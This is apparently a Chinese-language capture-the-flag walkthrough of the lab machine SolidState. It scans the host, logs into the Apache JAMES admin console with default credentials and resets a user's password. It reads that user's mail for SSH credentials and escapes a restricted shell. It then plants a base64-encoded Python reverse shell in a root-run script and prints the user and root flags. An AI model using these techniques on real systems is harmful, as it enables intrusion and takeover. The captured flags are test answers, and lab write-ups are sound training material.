信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.10.51 | TCP:22，25，80，110，119，4555 |
$ nmap -p- 10.10.10.51 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello 10.10.10.51 (10.10.16.24 [10.10.16.24])
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open rsip?
| fingerprint-strings:
| GenericLines:
| JAMES Remote Administration Tool 2.3.2
| Please enter your login and password
| Login id:
| Password:
| Login failed for
|_ Login id:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.94SVN%I=7%D=8/17%Time=66C06866%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\
SF:nPlease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPas
SF:sword:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Apache JAMES RCE
JAMES Remote Administration Tool
$ searchsploit JAMES
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图](https://img.4awl.net/img/82/76b503856b8fbeae089f0d4b4bfbeb.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图")
username:root password:root
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图1](https://img.4awl.net/img/0b/57d3fd8e111634d97e6a881eaaa7df.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图1")
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图2](https://img.4awl.net/img/b6/b25343ad9b4d706d01713e09f7a6bc.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图2")
$ telnet 10.10.10.51 4555
>listusers
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
$ setpassword mindy 123
POP3
登录用户mindy
$ telnet 10.10.10.51 110
USER mindy
PASS 123
RETR 2
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图3](https://img.4awl.net/img/8c/c585c334edf417e32fccc8065e4a9a.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图3")
username:mindy password:P@55W0rd1!2@
$ ssh [email protected]
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图4](https://img.4awl.net/img/bf/d0db408a0948531d7c50854ba9196c.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图4")
实际上这里题目意思是直接通过JAME-RCE反弹会话到主机啦获取一个非受限的shell，但ssh命令可以使用-t构造一个伪终端同样绕过
$ ssh [email protected] -t 'bash'
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图5](https://img.4awl.net/img/d6/231857b6d8ad3e6a91e927b433f472.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图5")
User.txt
cddc54e8618e72785b2d0387162f772b
权限提升
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图6](https://img.4awl.net/img/d0/58e1078c8db6bfb264471fdf79f9b2.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图6")
$ ls -la /opt/tmp.py
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图7](https://img.4awl.net/img/b7/313b42b53e3297f2c53998c527fba4.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图7")
$ echo 'aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAu
MTYuMjQiLDEwMDMyKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5
LnNwYXduKCIvYmluL2Jhc2giKQo='|base64 -d >/opt/tmp.py
![[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图8](https://img.4awl.net/img/7d/4354cb1bcf768634351e34e9d8bcdb.jpg "[Meachines] [Medium] solidstate Apache JAMES RCE+P…插图8")
Root.txt
2937292653a4a3a7b70ca523057708df
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
